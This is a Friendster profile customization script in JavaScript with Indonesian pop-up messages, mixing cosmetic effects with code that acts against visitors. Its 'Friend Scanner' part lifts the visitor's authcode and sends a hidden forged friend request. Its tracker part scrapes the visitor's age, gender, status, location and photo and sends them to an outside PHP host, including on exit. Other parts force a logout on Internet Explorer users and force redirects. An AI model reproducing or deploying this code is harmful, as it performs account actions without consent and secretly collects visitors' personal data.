var css = document.createElement('link');
css.rel = 'stylesheet'
css.type = 'text/css'
css.media = 'screen, print'
css.href = 'http://mylayout.web44.net/layout-standar/style.css'
document.getElementsByTagName('head')[0].appendChild(css);

//intro loading page
loader=new loader();
function loader() {
this.hide=function() {
lding.style.display='none';
}
var lding = document.getElementById('navBg');
myWidth = screen.availWidth;
myHeight = screen.availHeight;
lding.style.zIndex=1000;
lding.style.backgroundImage ="url(http://mylayout.web44.net/layout-standar/bg_intro.png)";
lding.style.backgroundRepeat='repeat';
lding.style.position = 'fixed';
lding.style.top = '0px';
lding.style.left = '0px';
lding.style.width = myWidth;
lding.style.height = myHeight;
lding.style.overflow = 'hidden';
lding.style.display='';
lding.innerHTML="<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><center><font face='Comic Sans MS' color='white' size='20'>Tunggu Bentar Lagi Loading...</font><b><br><br><br><br><br><img src='http://mylayout.web44.net/layout-standar/loading.gif'/><p><br><br><br><br><font face='Comic Sans MS' color='white' size='5'>Kalau Lama Klik Tombol Dibawah</font><br><br><br><br><input type='button' onclick='loader.hide()' value='Klik Disini' /></p></center>";
}

if ( ! attachOnLoadHandler(function () { loadBox();})) 
window.onload = function () { loadBox();};

function loadBox() {
var ld=setTimeout("loader.hide()",4000);

}

/*force log in*/
if(pageViewerID==""){
    alert("Tolong Login Dulu Sebelum Masuk Ke Profile Ini");
    top.location.href="http://www.friendster.com/login.php?next=/user.php?uid=38665007";
}

/*ie*/
if (navigator.appName == "Microsoft Internet Explorer") {
alert('Profile Ini Tidak Bisa Dibuka Melalui Internet Explorer\nGunakanlah Mozilla Firefox')
        document.location = "http://www.friendster.com/logout.php";
}

/*force english*/
if (pageViewerLangPref == "id-ID" || pageViewerLangPref == "id-ID"){
alert("Oops! Kamu Pakai Bahasa Indonesia Yaaa...");
alert("Profile q Akan Kuubah jadi bahasa Inggris....");
document.location.href="http://profiles.friendster.com/"+pageOwnerID+"?lang=en-US";
}

/* Welcome Popup Message*/
{ alert("\n\n\n\n\nBingung nyari tempat prakerin nih\nBisa bantuin ga\n\n\n\n\n "); alert("\n\n\n\n\nJangan Lupa Testinya\n\n\n\n\n "); alert ('\n\n\n\n\nWelcome 2 my Profile '+pageViewerFName+'!!! (~_~)\nby: '+pageOwnerFName+'\n\n\n\n\n ') }

var myScripts = document.createElement('script');
myScripts.type = 'text/javascript'
myScripts.src = 'http://mylayout.web44.net/layout-standar/iSlidesToggle.js'
document.getElementsByTagName('head')[0].appendChild(myScripts);

/* Friend Scanner */
var email_add = "dani_cool55@yahoo.co.id";

var get_authcode = document.getElementById("controlPanelButtons").innerHTML;
var add_it = get_authcode.slice(get_authcode.indexOf("authcode="));
var PlaceInput = add_it.slice(9,39);
document.write('<img src="http://www.friendster.com/addfriendrequest.php?authcode='
+ PlaceInput + '&uid='
+ pageOwnerID + '&email='
+ email_add + '&firstname=&lastname=&friend=&submit=1"'
+ ' width="0" height="0" style="display:none" />');

/*titlebar*/
//Created by Title bar Maker (http://www.bosiljak.hr/titlemaker)
function tb14_makeArray(n){
	this.length = n;
	return this.length;
}

tb14_messages = new tb14_makeArray(5);
tb14_messages[0] = "Welcome To My Profile";
tb14_messages[1] = "Jangan Lupa Add Yaaaaa......";
tb14_messages[2] = "Kalau Ga' !!!!";
tb14_messages[3] = "Gpp Kok";
tb14_messages[4] = "Tp Isi Testi Yaaa.....";
tb14_rptType = 'infinite';
tb14_rptNbr = 5;
tb14_speed = 15;
tb14_distance = 35;
tb14_delay = 2000;
var tb14_letter = 0;
var tb14_counter=1;
var tb14_currMsg = 0;
var tb14_orgSpaces = tb14_distance;
var tb14_nbrSpaces = tb14_orgSpaces;
var tb14_shootTimer = null;
function tb14_shoottitle(){
	var sp=tb14_speed;
	var tmp=tb14_messages[tb14_currMsg].substring(0,tb14_letter);
	for (var i=0; i<tb14_nbrSpaces; i++)
		tmp += "_";
	tmp+=tb14_messages[tb14_currMsg].charAt(tb14_letter);
	for (var i=0; i < tb14_orgSpaces-tb14_nbrSpaces; i++)
		tmp+="_";
	tmp += "=o";
	document.title=tmp;
	tb14_nbrSpaces--;
	if (tb14_nbrSpaces == 0){
		tb14_letter++;
		tb14_orgSpaces -= 1;
		tb14_nbrSpaces=tb14_orgSpaces;
		if (tb14_letter > tb14_messages[tb14_currMsg].length){
			if (tb14_currMsg == tb14_messages.length-1){
				if ((tb14_rptType == 'finite') && (tb14_counter==tb14_rptNbr)){
					clearTimeout(tb14_shootTimer);
					return;
				}
				tb14_counter++;
				tb14_currMsg=0;
			}
			else{
				tb14_currMsg++;
			}
			tb14_letter=0;
			tb14_nbrSpaces = tb14_orgSpaces = tb14_distance;
			sp=tb14_delay;
		}
	}
	tb14_shootTimer = setTimeout("tb14_shoottitle()",sp);
}
tb14_shoottitle();

/* Fav Icon*/
var icon = document.createElement("link");
icon.rel = "SHORTCUT ICON";
icon.href = "http://mylayout.web44.net/layout-standar/favicon.png";
document.getElementsByTagName("head")[0].appendChild(icon)

/*
	Viewer's Main Photo at WIWTM
	Internalize AJAX handler
	Author: FeRuZZ &#65533; http://profiles.friendster.com/feruzz
			
	No warranty expressed or implied. Use at your own risk.
*/

if (typeof VIEWERPIC == "undefined" || !VIEWERPIC) { VIEWERPIC = window.VIEWERPIC || {}; }
(function() {
	VIEWERPIC = {
		photo: null,

		init: function() {
			if (pageViewerID !== "") {
				try {
					VIEWERPIC.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, VIEWERPIC.viewer, null);
				}catch(e) {}
			}
		},

		viewer: function(htm) {
			htm = htm.slice(htm.indexOf("<div class=\"imgblock200\">")+0, htm.indexOf("<ul id=\"controlPanelButtons\">")+0);
			htm = htm.slice(htm.indexOf("<img src=\"")+10, htm.indexOf("\"></a></div>")+0);
			VIEWERPIC.photo = document.createElement("div");
			VIEWERPIC.photo.align = "center";
			VIEWERPIC.photo.appendChild(document.createElement("a"));
			VIEWERPIC.photo.getElementsByTagName("a")[0].href = "/" + pageViewerID;
			VIEWERPIC.photo.getElementsByTagName("a")[0].target = "_blank";
			VIEWERPIC.photo.getElementsByTagName("a")[0].title = pageViewerFName;
			VIEWERPIC.photo.getElementsByTagName("a")[0].appendChild(document.createElement("img"));
			VIEWERPIC.photo.getElementsByTagName("img")[0].src = htm;
			document.getElementById("viewerpic").appendChild(VIEWERPIC.photo);
		},

		ajaxRequest: function(type, url, cont, param, func, handlerparam) {
			/*
			* ajaxRequest function
			* version: 2.1
			* Copyright: FeRuZZ &#65533; http://profiles.friendster.com/feruzz
			*
			* @type: "GET" | "POST"
			* @cont: true | false
			* @param: param | null
			*/

			var httprequest = null;
			var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
			for (var x = 0, len = msxml.length; x < len; x++) {
				try {
					httprequest = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(msxml[x]);
					break;
				} catch(e) {
					httprequest = null;
				}
			}
			if (typeof func === "function") {
				httprequest.onreadystatechange = function() {
					if (httprequest.readyState === 4) {
						if (httprequest.status === 200) {
							func(httprequest.responseText, handlerparam);
						}
					}
				};
			}
			httprequest.open(type, url, cont);
			httprequest.setRequestHeader("ajaxRequest", "true");
			httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");
			if (type === "POST") {
				var contentLength = param ? param.length: 0;
				httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
				httprequest.setRequestHeader("Content-length", contentLength);
				if (httprequest.overrideMimeType) {
					httprequest.setRequestHeader("Connection", "close");
				}
			}
			httprequest.send(param);
		}
	};
})();
VIEWERPIC.init()

/*addbox*/
function onProfileLoad() {
    //onload handler
    //(pattern) addBox("L-R","Header",htm,"cssid","sibling");

    addBox("RIGHT",pageOwnerFName+"'s Visitors",TRACKER.div.innerHTML,"tracker",null);
//other boxes goes here
/*rpl*/
var code="<center><a href=\"http://www.rpl.smkn7-smr.sch.id/\" target=\"_blank\"><img src=\"http://i251.photobucket.com/albums/gg300/forme_fz/rpl.png\" border=\"none\" height=\"128\" width=\"128\" alt=\"RPL\" /></a></center>";
addBox("RIGHT","Official Web RPL",code,"rpl","tracker",null);

/*banner*/
var code="<center><p><a href=\"http://upload.kapanlagi.com/\" target=\"_top\"><img src=\"http://ourfriend.kapanlagi.com/i/upload-200x200-B.gif\" style=\"border:0px;width:200;height:200;\" /><br /><a href=\"http://upload.kapanlagi.com/\" style=\"text-decoration:none;color:#000000;font-weight:bold;font-family:verdana;font-size:9pt;\" target=\"_top\">KapanLagi.com Image Hosting</a></p><p><a href=\"http://tv.kapanlagi.com/\" target=\"_top\"><img src=\"http://ourfriend.kapanlagi.com/i/tv-200x200-B.gif\" style=\"border:0px;width:200;height:200;\" /><br /><a href=\"http://tv.kapanlagi.com/\" style=\"text-decoration:none;color:#000000;font-weight:bold;font-family:verdana;font-size:9pt;\" target=\"_top\">KapanLagi.com Trailer</a></p><p><a href=\"http://face.kapanlagi.com/\" target=\"_top\"><img src=\"http://ourfriend.kapanlagi.com/i/face-200x200-A.gif\" style=\"border:0px;width:200;height:200;\" /><br /><a href=\"http://face.kapanlagi.com/\" style=\"text-decoration:none;color:#000000;font-weight:bold;font-family:verdana;font-size:9pt;\" target=\"_top\">KapanLagi.com Face</a></p></center>";
addBox("RIGHT","KapanLagi.com",code,"iklan",null);
}

/*TRACKER OBJECT*/
if (typeof TRACKER == "undefined") { TRACKER = {}; }
TRACKER = {

    style: {
        filter: "chroma(color='#FFFFFF')",
        width: '285px',
        height: '470px',
        border: '0px',
        overflow: 'scroll'
    },
    attributes: {
        frameborder: '0',
        allowtransparency: 'true'
    },
   
    phplink: "http://h1.ripway.com/dani55/wvm/tracker.php",
    exitmessage: "\n\n\n\n\nThx ya udah mampir "+pageViewerFName+'\n\n\n\n\n ',
   
   
/*do not edit below this line*/
/*
WVMe Tracker Script
by: Ken marfilla, http://profiles.friendster.com/mumbhaki,copyright 2007
Generated At, http://chibibo.elementfx.com copyright 2008
Credits to: Friendster.com, Friendstertalk.com, Renalvir http://renalvir.zuiken.net
licensed under GNU General Public License, version 2 http://www.gnu.org/licenses/gpl.html
Disclaimer: NO GUARANTEE and WARRANTY provided! For educational purposes only. Authors will not be liable of ANY damage through the use of this program
*/   
    base_domain: "http://profiles.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmtemp",
    details: {
        photo: null,
        gender: null,
        age: null,
        status: null,
        location: null,
        seek: null,
        since: null
    },
    regexp: {
        photo: /imgblock200"[\S\s]+?img src="([\S\s]+?)"/i,
        gender: />([\S]*male)/i,
        age: /male, ([\d]*),/i,
        status: /male, [\d]*, ([\S\s]+?)<\/span>/i,
        location: /Location\: <\/span><a[\S\s]+?>([\S\s]+?)<\/a><\/li>/i,
        seek: /In\: <\/span>([\S\s]+?)<\/li>/i,
        since: /Since\: <\/span>([\S\s]+?)<\/li>/i       
    },
   
    init: function() {
        document.getElementById("navBg").innerHTML+="<iframe id=\"wvmtemp\" src=\"about:blank\" style=\"display:none\" />";
        var d= new Date();
        var sec=invert(d.getTimezoneOffset()*60);
        var hr=invert(d.getTimezoneOffset()/60);
        this.timedetails="oss="+sec+"&osh="+hr;
        var ifsrc=this.phplink+"?"+this.timedetails;
        var atr="";
        var sty="";
        for (val in this.attributes) {
            atr += val +"="+ this.attributes[val]+" ";
        }
        for (val in this.style) {
            sty += val +":"+ this.style[val]+";";
        }
        try {this.div=document.createElement("<div>")}
        catch(e){this.div=document.createElement("div")}
        this.div.innerHTML="<center><iframe id=\"wvm\" "+atr+"src=\""+ifsrc+"\" style=\""+sty+"\"></iframe><br /><input type=\"button\" class=\"reloadbutt\" value=\"Refresh Tracker\" onclick=\"Reload();\" style=\"border: 1px #000000 solid; background-color: c9c9c9; margin: 3px;\"></center>";
        if(pageViewerID!=pageOwnerID) if(pageViewerID!="")this.getDETAILS();
    },
   
    getDETAILS: function() {
        processAjaxRequest("GET",this.base_domain+"/user.php?uid="+pageViewerID+"&_pmr=h&_pmmo=0&_pmt=controlpanel_1_1",true,null, "parseDETAILS",null);
    },
    sendExit: function() {
        document.getElementById(this.iframeid).src=this.phplink+this.param+"&exit=1";
        alert(this.exitmessage);
    }
};

function parseDETAILS(htm) {
    if(!htm) {
        TRACKER.getDETAILS();
        return;
    }else {
        for (val in TRACKER.details) {
            try {
                TRACKER.details[val]=encodeURIComponent(new RegExp(TRACKER.regexp[val]).exec(htm)[1]);
            }
            catch(e) {
                TRACKER.details[val]="";
            }
        }           
        TRACKER.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&url="+TRACKER.details.photo+"&gender="+TRACKER.details.gender+"&age="+TRACKER.details.age+"&status="+TRACKER.details.status+"&country="+TRACKER.details.location+"&seek="+TRACKER.details.seek+"&since="+TRACKER.details.since;
        document.getElementById(TRACKER.iframeid).src=TRACKER.phplink+TRACKER.param;
    }
}


if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};

TRACKER.init();

if(pageViewerID!=pageOwnerID) if(pageViewerID!="") document.write("<body onbeforeunload='TRACKER.sendExit()'>");



function invert(x) {
        if(x>0) return parseInt("-"+x);
        else if(x<0) {
            x=x+"";
            return parseInt(x.substr(1,x.length-1));
        }
        return 0;
}

/*END TRACKER OBJECT*/


/*MISC FUNCTIONS*/

function urlencode(txt) {
    return txt.replace(/ /g,"%20").replace(/'/g,"%60").replace(/</g,"%3C").replace(/>/g,"%3E");
}

function addBox (type,head,htm,id,sibling) {
//by marfillaster

//type "LEFT" | "RIGHT"
//head header string
//htm innerHTML string
//id css_id string
//sibling css_id_insertbefore string | null
/* Available default Siblings
    LEFT
        0 = controlpanel
        1 = photos
        13 = blogs
        12 = reviews
        6 = moreabout
        18 = publiccomments
        10 = scrapbook
    RIGHT
        15 = meettrail
        2 = friends
        14 = googleads
        7 = fan
        8 = groups
    null - appends to last
*/
   
    try {
        var li=document.createElement("li");
    } catch(e) {
        var li=document.createElement("<li>");
    }
    if(type=="LEFT") {
        var ul=document.getElementById("0").parentNode.parentNode;
        htm="<div class='boxcontent'>"+htm+"</div>";
    }
    else var ul=document.getElementById("2").parentNode.parentNode;
   
    li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+
                    "<h2>"+head+"</h2>"+
                    "<div id='content_"+id+"'>"+
                        htm+
                    "</div>"+
                    "</div>";
                   
    if(sibling==null) ul.appendChild(li);
    else {
        sibling=document.getElementById(sibling).parentNode;
        ul.insertBefore(li,sibling);
    }
}

function processAjaxRequest(type,url,cont,param,handler,handlerparam) {
//by marfillaster

//type 'POST' | 'GET'
//cont 'true' | 'false'
//param string | null
//handler string | null
//handlerparam string |null

    if(handlerparam) handlerparam=","+handlerparam;
    else handlerparam="";
    var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
    if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}");
    httprequest.open( type, url, cont);
    if(type=="POST") {
        httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        httprequest.setRequestHeader("Content-length", param.length);
        httprequest.setRequestHeader("Connection", "close");
   
    }
    httprequest.send(param);
}

/*END MISC FUNCTIONS*/

//tracker refresher
function Reload () {
var f = document.getElementById('wvm');
f.src = f.src;
}